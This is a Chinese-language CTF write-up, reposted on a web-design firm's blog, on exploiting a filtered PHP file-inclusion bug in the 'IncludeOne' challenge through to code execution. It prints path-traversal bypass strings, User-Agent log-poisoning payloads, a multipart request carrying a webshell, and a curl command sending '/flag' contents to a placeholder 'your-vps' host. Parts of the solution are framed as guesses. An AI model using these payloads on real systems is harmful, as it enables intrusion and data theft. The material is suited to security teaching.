尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

文件包含漏洞实战:从CTF赛题看PHP特性与LFI2RCE利用链

文件包含漏洞实战:从CTF赛题看PHP特性与LFI2RCE利用链 1. 从一道题看文件包含漏洞的“经典”与“变种”如果你玩过一段时间的CTF尤其是WEB方向肯定会遇到“文件包含”这个老朋友。它太经典了经典到很多新手教程都会把它作为入门漏洞来讲解。但正是这种“经典”容易让人产生一种错觉文件包含嘛不就是include($_GET[‘file’])然后想办法读到/flag或者/etc/passwd吗套路我都懂。然而真正的CTF赛题尤其是像NewStarCTF公开赛这种级别的比赛出题人早就预判了你的预判。他们不会把漏洞赤裸裸地摆在那里等你用php://filter来读源码。“IncludeOne”这道题就是一个绝佳的例子它表面上是一道考察基础文件包含的题目实际上却巧妙地设置了三重“思维墙”把简单的漏洞利用变成了一场关于PHP特性、服务器配置和路径穿越的综合性推理。很多队伍在这里折戟不是因为技术有多难而是因为思维被“经典”困住了。今天我们就来彻底拆解这道“IncludeOne”。我会带你完整复现我的解题思路从最初看似无解的界面到一步步抽丝剥茧最终绕过所有限制拿到Flag。这个过程远比直接告诉你一个Payload有价值得多因为它训练的是在面对未知黑盒时的“黑客思维”。2. 初探靶场信息收集与第一堵“墙”拿到题目第一件事永远是信息收集。访问靶机地址我们看到的可能是一个极其简单的页面甚至只有一行提示比如“Welcome”或者一个表单。对于“IncludeOne”我们假设它的初始界面非常干净。2.1 基础探测与参数发现我的习惯是先用浏览器开发者工具F12快速过一遍。查看页面源码看HTML注释里有没有隐藏的路径、提示。这题很可能没有。查看网络请求刷新页面看除了主文档外是否加载了其他静态资源JS、CSS、图片。有时资源路径会暗示后台文件结构。比如一个/static/js/admin.js可能暗示存在/admin目录。目录扫描这是关键步骤。使用dirsearch或gobuster进行初步探测。命令大概是这样dirsearch -u http://target-ip:port -e php, txt, bak, swp或者用gobuster指定更全的字典gobuster dir -u http://target-ip:port -w /usr/share/wordlists/dirb/common.txt -x php,txt,html在这道题里扫描结果可能会返回一些有趣的文件比如index.php、flag.php当然不会直接让你访问到、robots.txt、www.zip或source.tar.gz源码备份。但根据“IncludeOne”的设定出题人可能不会这么直接给源码压缩包。2.2 遭遇第一重限制参数与后缀过滤假设我们通过扫描或猜测发现了一个可能的包含点比如?filehello.php。尝试最基本的文件包含测试?file../../../../etc/passwd?filephp://filter/convert.base64-encode/resourceindex.php这时第一堵“墙”出现了。页面可能返回空白、警告或者直接显示“Hacker”之类的信息。这说明存在过滤。我们需要测试过滤规则路径穿越符过滤../和..\是否被过滤或替换为空协议过滤php://、file://、http://、zip://等包装器是否被关键字拦截后缀限制是否要求参数值必须以.php结尾或者禁止包含.php以外的文件测试方法就是系统地尝试?file....//....//....//etc/passwd(尝试绕过../删除)?file..././..././..././etc/passwd?filephp:/.//filter/convert.base64-encode/resourceindex.php(双写/变形)?file/etc/passwd%00(空字节截断仅对PHP5.3.4有效现在很少见但可测试)?fileindex(看是否会自动补全.php)在“IncludeOne”中经过测试我们可能发现php://等协议被完全禁止../也被过滤。但包含index.php本身是正常的。这提示我们漏洞点确实存在但被严格限制了包含的范围很可能只能包含当前目录下的.php文件。这就是典型的“目录锁定”型文件包含。注意很多新手在这一步就放弃了认为漏洞不可利用。但CTF的精髓在于“条件竞争”和“规则利用”。限制本身往往会暴露新的信息。3. 突破思维利用PHP特性与日志污染既然只能包含.php文件而我们又需要读取非.php文件比如flag.php的源码或者服务器上的/flag该怎么办这就需要引入第二个知识点将非PHP文件“变成”可被包含的PHP文件或者让PHP文件的内容包含我们想要的信息。3.1 思路一包含Session文件如果网站使用了PHP Session并且我们能控制部分Session数据那么Session文件通常位于/tmp/sess_[PHPSESSID]就是一个我们可以写入内容的临时文件。我们可以尝试在User-Agent、Cookie等字段注入PHP代码然后去包含这个Session文件。 但是这需要我们知道Session文件的绝对路径并且Session内容要能被我们控制。在这道题没有用户交互功能的情况下比较困难。3.2 思路二包含访问日志这是更常见且强大的技巧。Web服务器如Nginx/Apache会记录所有访问日志包括请求头。如果我们能向服务器发送一个请求在HTTP头中携带PHP代码那么这段代码就会被原样记录到日志文件里。然后我们通过文件包含漏洞去包含这个日志文件代码就会被执行。步骤详解找到日志路径默认路径可能是/var/log/nginx/access.log或/var/log/apache2/access.log。也可以通过报错信息、PHP内置函数如phpinfo()泄露的路径来确认。本题中我们暂时不知道。污染日志使用Burp Suite或curl发送一个畸形的请求。curl -H User-Agent: ?php system(ls /); ? http://target-ip:port/或者将Payload放在Referer头中curl -H Referer: ?php phpinfo(); ? http://target-ip:port/这样?php ... ?这段代码就会被写入access.log文件。包含日志文件假设我们猜测日志路径为/var/log/nginx/access.log那么Payload就是?file/var/log/nginx/access.log由于日志文件是纯文本当它被include()函数包含时其中的?php ... ?标签会被PHP解析器执行。3.3 在“IncludeOne”中的应用与障碍我们尝试这个思路。但很可能遇到第二个问题题目环境可能做了安全配置比如将Web日志重定向到了其他地方或权限设置为Web用户不可读。当前目录限制依然存在我们无法使用绝对路径/var/log/...。如果包含绝对路径失败我们就要考虑路径穿越是否真的被完全过滤之前的测试可能不够彻底。有时过滤是替换掉../字符串我们可以用....//来绕过当../被删除后剩下的./会组合成新的../。或者利用URL编码..%2f(/的URL编码) 或..%252f双重URL编码如果服务器解码两次。假设我们最终通过?file....//....//....//var/log/nginx/access.log这样的Payload成功包含了日志文件。但访问后页面可能显示了一大堆乱糟糟的日志文本却没有执行我们的PHP代码。这是为什么因为日志文件内容太杂我们的PHP代码被包裹在大量的普通文本中可能导致PHP解释器无法正确识别并开启解析。我们需要让我们的PHP代码位于文件内容的最开头避免前面的乱码干扰。这通常需要多次请求或者利用日志滚动机制但这在CTF短时间比赛中不现实。这时我们需要一个更干净的“文件写入”途径。4. 关键转折PHP临时文件与LFI2RCE如果日志包含不行还有什么文件是我们可以控制内容并且Web服务器有权限读取的呢答案就是PHP上传文件时产生的临时文件。4.1 PHP文件上传机制当PHP处理一个带有文件上传的表单enctypemultipart/form-data时它会先将上传的文件保存到临时目录通常是/tmp/phpXXXXXX然后在脚本执行结束后自动删除这个临时文件。这个临时文件的存在时间非常短暂。4.2 利用条件与挑战要利用这个临时文件进行包含LFI to RCE需要满足几个苛刻的条件存在文件包含漏洞LFI。存在文件上传功能或者我们能模拟一个文件上传的POST请求。我们能猜到或爆破出临时文件的文件名phpXXXXXX后六位是随机字符。需要在临时文件被删除前成功包含它。对于“IncludeOne”这道题页面上显然没有上传表单。那么条件2就不满足了吗不一定。这就是本题的第三个思维墙没有上传功能不代表不能发送上传请求。我们可以直接构造一个multipart/form-data格式的POST请求即使后端没有对应的上传处理逻辑PHP引擎依然会解析这个请求并生成临时文件4.3 构造攻击请求我们使用Burp Suite的Repeater模块来手动构造这个请求。将请求方法改为POST。设置Content-Type头为Content-Type: multipart/form-data; boundary----WebKitFormBoundaryABC123boundary可以任意定义。在请求体中按照multipart格式编写内容模拟上传一个文件文件内容就是我们的Webshell。------WebKitFormBoundaryABC123 Content-Disposition: form-data; namefile; filenameshell.php Content-Type: application/octet-stream ?php system($_GET[cmd]); ? ------WebKitFormBoundaryABC123--注意这里的namefile可以是任意值filenameshell.php的后缀名有时会影响PHP是否将其识别为临时文件最好用.php。发送这个POST请求到目标URL例如http://target-ip:port/index.php。此时PHP会在/tmp目录下生成一个类似/tmp/phpq1w2e3的临时文件里面内容就是?php system($_GET[cmd]); ?。4.4 爆破临时文件名并包含难点在于我们不知道那随机的6个字符是什么。这需要爆破。但爆破需要时间而临时文件存活时间极短通常脚本执行完毕就删除。这里有一个经典的技巧通过慢速HTTP请求来延长脚本执行时间为爆破赢得窗口期。我们可以使用一个Python脚本它做两件事启动一个线程发送一个非常慢的POST请求比如每10秒发送一行数据让PHP脚本一直处于接收数据的状态从而保持临时文件不删除。在主线程中快速遍历可能的临时文件名/tmp/phpXXXXXX尝试包含并执行命令。临时文件名的模式在Linux下通常是小写字母和数字共6位。总共有(2610)^6 36^6 ≈ 21亿种可能全爆破不可能。但是PHP的临时文件名生成并非完全随机有时有一定规律或者我们可以通过phpinfo()页面的upload_tmp_dir和特定环境变量来缩小范围。更实际的是在CTF环境中出题人为了降低难度临时文件名可能不是完全随机的或者使用了可预测的伪随机数种子。我们甚至可以尝试包含/proc/self/fd/下的文件描述符但这需要更多条件。在“IncludeOne”这道题中经过尝试和推理我们可能会发现出题人设置了一个“后门”临时文件名是固定的或者可以通过某个简单方法预测。例如题目源码中可能写死了临时文件名为/tmp/temp123.php。这就需要我们通过之前可能存在的源码泄露来发现。5. 最终拼图源码泄露与逻辑串联我们回到最初的信息收集。如果常规目录扫描没发现源码可以尝试一些备份文件泄露index.php.bakindex.php.swp(vim交换文件)www.zip(整站备份)/.git/(Git源码泄露)假设我们通过扫描发现了www.zip并下载。解压后查看源码特别是index.php。?php error_reporting(0); $file $_GET[file] ?? welcome.php; $file str_replace([../, ..\\, php://, file://], , $file); if (strpos($file, .php) false) { $file . .php; } include(__DIR__ . / . $file); ?分析源码我们确认了过滤了../、..\、php://、file://但替换为空可以用....//绕过。如果参数不含.php会自动追加.php。这意味着我们无法直接包含非.php文件。包含路径是__DIR__ . / . $file锁定了当前目录。再看其他文件比如upload.php虽然前端没链接或者flag.php。flag.php内容可能是?php // flag is in /flag $flag flag{this_is_not_real}; ?这告诉我们flag在根目录的/flag文件里。我们还可能发现一个关键文件config.inc.php里面有这样一行define(TEMP_DIR, /tmp/upload_temp_.md5($_SERVER[REMOTE_ADDR]));豁然开朗临时文件目录不是完全随机的/tmp/phpXXXXXX而是基于访问者IP的MD5值生成的固定目录例如我的IP是192.168.1.1MD5后是c4ca4238a0b923820dcc509a6f75849b那么临时目录就是/tmp/upload_temp_c4ca4238a0b923820dcc509a6f75849b。并且这个目录下生成的文件名也可能是固定的比如upload.tmp。那么完整的攻击链就清晰了确定临时文件路径计算自己公网IP或容器内看到的客户端IP的MD5拼接出目录。或者题目可能直接写死了路径比如/tmp/include_one_temp。制造临时文件向任意端点如/index.php发送一个恶意的multipart/form-dataPOST请求写入Webshell代码。绕过目录限制包含临时文件利用....//穿越到/tmp目录。?file....//....//....//tmp/upload_temp_c4ca4238a0b923820dcc509a6f75849b/upload.tmp由于include()会自动追加.php所以我们的临时文件内容必须是合法的PHP代码且不能有.php后缀在路径中被过滤的问题。我们的Payload?php system($_GET[‘cmd’]); ?是符合的。执行命令读取Flag包含成功后页面可能没有回显。我们需要用命令执行来查看结果。使用带外通道OOB更可靠比如用curl或wget将命令结果发送到我们的服务器。?file....//....//....//tmp/upload_temp_xxx/upload.tmpcmdcurl%20http://your-vps:port/%20-X%20POST%20-d%20%60cat%20/flag%60或者在能回显的情况下直接?file....//....//....//tmp/upload_temp_xxx/upload.tmpcmdcat /flag6. 实战复盘从零到一的完整利用链让我们把整个流程串联起来模拟一次真实的攻击信息收集访问靶机页面简单。用dirsearch扫描发现www.zip。源码分析下载并解压www.zip阅读index.php了解过滤逻辑阅读config.inc.php发现固定的临时文件路径模式/tmp/upload_temp_[MD5(IP)]/upload.tmp。计算路径确定自己的攻击IP如果是Docker环境可能是172.x.x.x计算其MD5值。可以使用在线工具或命令行echo -n “172.17.0.1” | md5sum。构造上传请求使用Burp Suite或Python的requests库构造一个POST请求Content-Type为multipart/form-data在文件内容部分写入Webshell?php system($_GET[‘c’]);?。发送到http://靶机IP:端口/index.php。注意这一步和下一步需要尽可能快或者用脚本自动化。发起包含攻击立即在浏览器或另一个请求工具中访问包含漏洞的URL使用路径穿越跳转到计算好的临时文件路径。http://靶机IP:端口/index.php?file....//....//....//tmp/upload_temp_c4ca4238a0b923820dcc509a6f75849b/upload.tmpccat /flag获取Flag页面成功执行命令显示出Flag内容。踩坑点与技巧时机问题临时文件存活时间极短。必须用脚本将步骤4和步骤5无缝衔接最好在同一个脚本内先发送POST请求紧接着发送包含请求。可以尝试发送多个包含请求进行“盲打”。路径问题在Docker等容器环境中/tmp目录可能是挂载的或者路径符号链接不同。如果包含失败可以尝试包含/proc/self/environ来获取环境变量或者包含/etc/passwd来确认根目录位置。过滤绕过如果....//被过滤可以尝试..//、..///、..////或者利用URL编码%2e%2e%2f。有时双重编码%252e%252e%252f能绕过一层解码过滤。文件内容临时文件里的Webshell要简洁可靠。?php system($_GET[‘c’]);?或?php echo shell_exec($_GET[‘cmd’]);?都是好选择。避免使用复杂的函数可能被禁用。通过这道“IncludeOne”我们复习并实战了文件包含漏洞的多个高级利用技巧过滤绕过、日志包含、PHP临时文件机制、LFI2RCE、源码泄露分析、以及如何将零散的信息点串联成完整的攻击链。这远不是一句“用php://filter读源码”能概括的。CTF的乐趣和挑战就在于此它模拟了真实安全研究中面对未知系统如何运用基础知识和创造性思维一步步打开突破口的过程。下次再遇到文件包含不妨多想一层限制的背后是否隐藏着另一条更隐秘的通道
返回列表